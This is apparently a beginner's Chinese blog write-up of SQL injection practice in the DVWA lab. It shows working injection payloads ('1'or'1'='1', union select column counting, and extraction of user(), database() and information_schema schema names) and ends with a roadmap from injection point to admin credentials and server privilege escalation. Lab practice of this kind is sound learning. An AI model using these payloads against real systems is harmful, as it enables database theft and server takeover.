SQL註入(dvwa環境)
首先登錄DVWA主頁:
1、修改安全級別為LOW級(第一次玩別打臉),如圖中DVWA Security頁面中。
2、進入SQL Injection頁面,出錯了。(心裏想著這DVWA是官網下的不至於玩不了吧。。)
網頁錯誤提示:Parse error: syntax error, unexpected ‘[‘in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\index.php on line 65
趕緊打開index.php文件,這提示報錯65行看看PHP代碼!(內心是不願意的,我是學java的)
$num = mysqli_fetch_row( $result )[0];
---->猜測放回類型不是數組,就將[0]去掉試了一下就可以了=。=(留給PHP的朋友去看具體吧,在下先用著)
3、一次奇葩的經歷後開始嘗試第一次的SQL註入。
根據上面的提示,輸入用戶的id,它將返回了關於這個user的信息。這裏先輸入了“1”試試。
成功返回數據,發現瀏覽器的地址欄的url成了:
http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
換個輸入值2又變成:
http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit#
輸入單引號‘嘗試,發現頁面報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘‘‘‘ at line 1
由於用戶輸入的值為ID,因此我們習慣判斷這裏的註入類型為數字型,因此嘗試輸入:1 or 1=1 ,看能否查詢:
並且地址欄為http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1+or+1%3D1&Submit=Submit#
所以猜測後臺程序將此值當做字符型,於是輸入:1‘or‘1‘=‘1,結果成功返回多行數據:(好激動的說)
從OWASP測試指南上(http://www.owasp.org.cn/owasp-project/download/OWASP_testing_guide)看還有
Union查詢SQL註入、盲SQl註入、SUBSTRING(text,start,length)、預程序註入。
接下來分析字段數:有兩種方法
方法一:用order bynum語句。
分析字段數的原因是我們之後需要用union select語句來獲得我們需要的敏感數據。根據order by知識知道,
要是後面跟著的數字超出了字段數時,就會報錯!通過這個我們可以確定字段數。
,所以字段數為2
方法二:直接用union select來猜測字段數。
因為當字段數不對應的時候,它也是會發生報錯的!
1‘ union select 1#-------出錯The used SELECT statements have a different number of columns
1‘ union select 1,2#-------正常,所以字段數為2
使用Union all結合利用user(),及database(),version()等三個內置函數。得到連接數據庫賬戶信息、數據庫名稱、數據庫版本信息。
1‘ and 1=2 union select user(),database()#------成功得到數據庫信息!!!
使用Union all結合利用mysql默認的數據庫infromation_scehma,該數據庫存儲了Mysql所有數據庫和表的信息。
1‘ and 1=2 union select 1,schema_name from information_schema.schemata#---------(可怕~)
總結一下今天SQL註入的第一次體驗:大致思路如下
1、尋找註入點,應該可以通過web掃描工具實現。
2、通過註入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。
3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
4、可以通過獲得的用戶信息,尋找後臺登錄入口。
5、利用後臺了解進一步信息,提權,直到拿到服務器權限。
非常感謝原博主的分享,受益頗深:http://blog.csdn.net/qq_20745827/article/details/68944753
SQL註入(dvwa環境)